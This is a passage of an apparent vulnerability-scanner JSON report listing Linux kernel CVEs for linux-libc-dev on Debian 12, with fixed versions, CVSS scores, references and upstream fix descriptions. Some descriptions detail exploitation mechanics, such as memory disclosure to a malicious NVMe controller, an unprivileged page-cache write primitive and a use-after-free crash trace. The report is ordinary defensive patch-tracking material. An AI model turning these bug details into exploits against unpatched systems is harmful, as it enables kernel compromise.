"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/47e15a8d12e366d0d261bcbc394394f44418938d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89479.mbox", "https://git.kernel.org/stable/c/09c3b193a3e8fe53e1f416e2f8e3283d2a785405", "https://git.kernel.org/stable/c/47e15a8d12e366d0d261bcbc394394f44418938d", "https://git.kernel.org/stable/c/5c0b2dbbdafc9eeeb11fffe1e46551fc3b55d8ee", "https://git.kernel.org/stable/c/7d970353eeb98f46a3b9dc602850e4f6336a9889", "https://git.kernel.org/stable/c/a713e1b3a265f180ad25a08e17be15d67a2f7149", "https://git.kernel.org/stable/c/ed85fe91a61bc0e0da6b585c07102b20f4cc65a0", "https://git.kernel.org/stable/c/ee3f04cf566f6041aa9a0360494fd8db5ade383a", "https://git.kernel.org/stable/c/fa306a40e716c5abcd967475459ce1ebd56e5115", "https://linux.oracle.com/cve/CVE-2026-89479.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89479", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89479" ], "PublishedDate": "2026-09-11T20:19:29.337Z", "LastModifiedDate": "2026-10-19T09:17:41.043Z" }, { "VulnerabilityID": "CVE-2026-89481", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89481", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:23523f95e1c4671dbb82c6ec821290108e4cec7f5880d5d8a45a5e26b08e1b6a", "Title": "kernel: nvme-tcp: fix host memory disclosure on R2T for a read command", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: fix host memory disclosure on R2T for a read command\n\nnvme_tcp_handle_r2t() does not check the direction of the request the\nR2T refers to. A malicious controller can send an R2T for a READ and\nthe host will answer it: nvme_tcp_setup_h2c_data_pdu() builds the\nH2CData header and nvme_tcp_try_send_data() sends the request's data\nbuffer. That buffer is the READ destination, so its contents go to the\ncontroller.\n\nThe command then completes normally and nothing is logged.\n\nAgainst a test controller that answers every READ with an R2T, a 4096\nbyte buffered read returned all 4096 bytes, split over two R2Ts. The\npages contained stale kernel data, including an array of struct page\npointers.\n\nReject an R2T for a request that is not a write.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89481", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/6efbc52237facda35d2d874fe1765bb4839275d8%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89481.mbox", "https://git.kernel.org/stable/c/377aa04d7b3e73ffef6364818def188da8d6f025", "https://git.kernel.org/stable/c/3a0b05145053a5fad1a2ddb4e4d87b07385e63e5", "https://git.kernel.org/stable/c/3b3d27670c0c890ba7cf1bc3614cab61bde6d25c", "https://git.kernel.org/stable/c/49a4dcf57608ebf6432dbcb203ed25e7ed581445", "https://git.kernel.org/stable/c/6efbc52237facda35d2d874fe1765bb4839275d8", "https://git.kernel.org/stable/c/a4c3c7310156493797c920b10d8648c07aa05403", "https://git.kernel.org/stable/c/bc4013c7cce58d46f792c8c87bc8c8318a70190e", "https://git.kernel.org/stable/c/effe898669c5f69ed519d6339be01ee9cd91d1a4", "https://linux.oracle.com/cve/CVE-2026-89481.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89481", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89481" ], "PublishedDate": "2026-09-11T20:19:29.6Z", "LastModifiedDate": "2026-10-30T13:20:17.727Z" }, { "VulnerabilityID": "CVE-2026-89487", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89487", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ddec33c2657f82baf3e616c9e745eaec39330f6ff2c2490424e9a89f74a4bdac", "Title": "kernel: openvswitch: only skb_tx_error() a packet we are about to drop", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: only skb_tx_error() a packet we are about to drop\n\nqueue_userspace_packet() borrows the packet skb -- it only copies it into\na private netlink message (user_skb) and does not own it; on return\ndo_execute_actions() keeps forwarding it through the flow's remaining\nactions. Its error path nevertheless calls skb_tx_error(skb), which via\nskb_zcopy_clear() does skb_shinfo(skb)-\u003eflags \u0026= ~SKBFL_ALL_ZEROCOPY,\nstripping SKBFL_SHARED_FRAG from that live skb (skb_tx_error()'s kerneldoc\nsays \"skb must be freed afterwards\").\n\nFor a MSG_ZEROCOPY skb carrying page-cache frags, SKBFL_SHARED_FRAG is\nwhat makes esp_input() skb_cow_data() before in-place AEAD; once it is\nstripped a later local ESP-in-UDP delivery decrypts in place over pages\nthe sender does not own -- an unprivileged page-cache write (the\n\"Fragnesia\" primitive).\ndo_execute_actions() ignores output_userspace()'s return value, so any\naction after a failed USERSPACE upcall inherits the stripped skb.\n\nMove the skb_tx_error() to the flow-miss drop path - the \"default\"\nbranch of ovs_dp_process_packet()'s switch(error), before kfree_skb().\n\nThe call has been here since commit 36d5fe6a0007 (\"core, nfqueue,\nopenvswitch: Orphan frags in skb_zerocopy and handle errors\") but was\nharmless until esp_input() began relying on SKBFL_SHARED_FRAG to gate\nin-place decrypt; only then did stripping it on a still-forwarded skb\nbecome a page-cache write primitive.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89487", "https://git.kernel.org/linus/0dbc2398fca3bb33eda963849f865ddb1b3aa05e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89487.mbox", "https://git.kernel.org/stable/c/0dbc2398fca3bb33eda963849f865ddb1b3aa05e", "https://git.kernel.org/stable/c/4477222e2916a18e273edc139c955ade6bbb7a69", "https://git.kernel.org/stable/c/48db11e115d1b232edc5591604adc6eda95cd545", "https://git.kernel.org/stable/c/4d5c460ef8754be1d43b16dbf02695b008b207d6", "https://git.kernel.org/stable/c/5d85eef222cfd28e73deed7402c100229e8b9e6e", "https://git.kernel.org/stable/c/5de5d554141a15b3f1f5c978fd9f7f4fd6d0600a", "https://git.kernel.org/stable/c/6767d70cf46f65807a6a4c4406a518e6c12e36ae", "https://git.kernel.org/stable/c/e41a59fc056f63a7a1f42788913c53cc48d744aa", "https://linux.oracle.com/cve/CVE-2026-89487.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89487", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89487" ], "PublishedDate": "2026-09-11T20:19:30.413Z", "LastModifiedDate": "2026-10-19T09:17:42.307Z" }, { "VulnerabilityID": "CVE-2026-89488", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:29826aa46c8d42fc88b6054b12e22fdbf8c158fb23e99d507bd2e66fbb439433", "Title": "kernel: openvswitch: Fix CT limit teardown use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: Fix CT limit teardown use-after-free\n\nPacket processing uses CT limit state under RCU, while netns teardown\nfrees that state under ovs_mutex. The CT limit pointer was neither removed\nfrom readers nor protected by a grace period, allowing packet processing to\ndereference the freed state.\n\nAn unprivileged user can trigger this bug from a user and network\nnamespace, causing a slab-use-after-free in ovs_ct_execute() when the\nnetns is torn down.\n\nPublish the CT limit pointer through RCU, remove it before teardown, and\nwait for readers before freeing its contents. Keep ovs_mutex around\nindividual CT limit updates, and use the RCU read-side lock while GET\ntraverses the RCU-protected limit lists.\n\nNetns teardown detaches the RCU-protected CT limit state in the pernet\n.pre_exit callback while holding ovs_mutex. The pernet core guarantees an\nRCU grace period between the .pre_exit and .exit callbacks, so the .exit\ncallback completes the teardown without adding any extra synchronization.\n\nThe netlink command handlers do not need NULL checks because the userspace\nnetlink socket holds an active reference to its network namespace while a\nrequest is processed. The per-netns exit path therefore cannot run\nconcurrently with SET, DEL, or GET for that socket's namespace.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89488", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/403f96c32c9e24600093d7d0c61c17daeedca957%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89488.mbox", "https://git.kernel.org/stable/c/239f26589a6926db28c436e14f28517581ef1385", "https://git.kernel.org/stable/c/3b41d907400cc1dd1da9555b81dca422b1f44433", "https://git.kernel.org/stable/c/3b9369881b403f4cdbb11fa998554382bdcc3d8c", "https://git.kernel.org/stable/c/403f96c32c9e24600093d7d0c61c17daeedca957", "https://git.kernel.org/stable/c/680f20d5937fa4d1367c59fe83091b78041015f5", "https://git.kernel.org/stable/c/6a6d36fadb8537d9b79e72c9fa51885ec0c33e10", "https://git.kernel.org/stable/c/bf4aaa7ea2579e24ed7de2e20578a875bebca011", "https://git.kernel.org/stable/c/e15407c3a8a005324f633cd46cd8fb58042c1157", "https://linux.oracle.com/cve/CVE-2026-89488.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89488", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89488" ], "PublishedDate": "2026-09-11T20:19:30.557Z", "LastModifiedDate": "2026-10-19T09:17:42.48Z" }, { "VulnerabilityID": "CVE-2026-89508", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89508", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5bc2b9da93ae7683d29a7b9f1aef5cdc1e5d5886d117685d4680265e3690028f", "Title": "kernel: RDMA/ucma: Lock the handler in ucma_set_ib_path()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/ucma: Lock the handler in ucma_set_ib_path()\n\nucma_set_ib_path() calls ucma_event_handler() straight from the write()\npath, without the handler lock that keeps ctx-\u003efile stable while a uevent\nis queued. The handler re-reads ctx-\u003efile for every dereference:\n\n\tmutex_lock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file A */\n\tlist_add_tail(\u0026uevent-\u003elist, \u0026ctx-\u003efile-\u003eevent_list);\t/* file B */\n\tmutex_unlock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file B */\n\twake_up_interruptible(\u0026ctx-\u003efile-\u003epoll_wait);\t/* file B */\n\nA concurrent ucma_migrate_id() reassigns ctx-\u003efile while the SET_OPTION\ncaller sleeps in mutex_lock(), so the list_add_tail() lands on file B's\nevent_list while only file A's mutex is held, racing every other user of\nthat list:\n\n BUG: KASAN: slab-use-after-free in __list_add_valid_or_report+0x1aa/0x1c0\n Read of size 8 at addr ffff888153c6a418 by task poc_corr/486\n Call Trace:\n __list_add_valid_or_report+0x1aa/0x1c0\n ucma_event_handler+0x1be/0xc00\n ucma_set_ib_path+0x45e/0x710\n ucma_set_option+0x32e/0x590\n ucma_write+0x1f9/0x330\n Allocated by task 505:\n ucma_write_cm_event+0x1a1/0x660\n Freed by task 505:\n kfree+0x1da/0x4c0\n ucma_get_event+0x5d5/0x7e0\n\nThe freed object is a ucma_event that another thread dequeued from file B's\nlist under file B's mutex. File A's mut is left held on top of that,\nwedging its next writer in uninterruptible sleep.\n\nThis path needs a bound and address-resolved cm_id, so it requires an RDMA\ndevice to be present.\n\nTake the handler lock around the call.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89508", "https://git.kernel.org/linus/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89508.mbox", "https://git.kernel.org/stable/c/28ac2dd416482d1c763c4af5d61af465b387fb50", "https://git.kernel.org/stable/c/3dd07b369371a2f29e1c3caf1ade85bb92b4c551", "https://git.kernel.org/stable/c/43a7d8ae9f645dc00235cfa4bf57673c20b769f8", "https://git.kernel.org/stable/c/71dc206f2e2a645dac78879768762451aa1799f7", "https://git.kernel.org/stable/c/764586f8f6180084c5a7d622120f526acc6ce0c9", "https://git.kernel.org/stable/c/a7f8d26e653ee43b0b572984b8ec544d3b3b6f3c", "https://git.kernel.org/stable/c/b2da0d488a1c72956ebb0a57015ee8ee6a2f7748", "https://git.kernel.org/stable/c/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820", "https://linux.oracle.com/cve/CVE-2026-89508.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89508", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89508" ], "PublishedDate": "2026-09-11T20:19:33.143Z", "LastModifiedDate": "2026-10-19T09:17:45.06Z" }, { "VulnerabilityID": "CVE-2026-89524", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb680ab96b415ec8101640c613402af748731c31d730c2704b2c6baee13e499d", "Title": "kernel: wifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets\n\nath6kl_cfg80211_connect_event() subtracts fixed IE offsets from\nassoc_req_len (-= 4) and assoc_resp_len (-= 6), both u8, with no lower\nbound. The aggregate check recently added to ath6kl_wmi_connect_event_rx()\nbounds the declared lengths from above (their sum must fit the received\nevent), but an assoc request/response shorter than its fixed offset still\nunderflows here: the u8 wraps to ~250, and cfg80211_connect_result() /\ncfg80211_roamed() then treat that wrapped value as the IE length and copy\nthat many bytes out of the small assoc_info buffer to user space via\nnl80211, disclosing adjacent slab memory.\n\nClamp both lengths to their offsets before subtracting.\n\nFound by 0sec (https://0sec.ai) using automated source analysis; the\nmissing lower bound is evident from source. Compile-tested.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89524", "https://git.kernel.org/linus/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89524.mbox", "https://git.kernel.org/stable/c/225587bdbf4b0eb5265a71ee4dc183561a1857fc", "https://git.kernel.org/stable/c/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613", "https://git.kernel.org/stable/c/6deb4d7a0c3d91821b2a8d5239e3d9933d9217d9", "https://git.kernel.org/stable/c/8eb73016fb3968cf2db3987a92764563a3af773a", "https://git.kernel.org/stable/c/d337213a889705a69735079606d0b4c672b17605", "https://git.kernel.org/stable/c/e11d5ae96d5e52cb48fa27c6ad352d766d0322fb", "https://git.kernel.org/stable/c/e1330d719c047c4d8190a16be034b29fc601a815", "https://git.kernel.org/stable/c/e3619bed5da125713b29ac881dc66f5e06606f88", 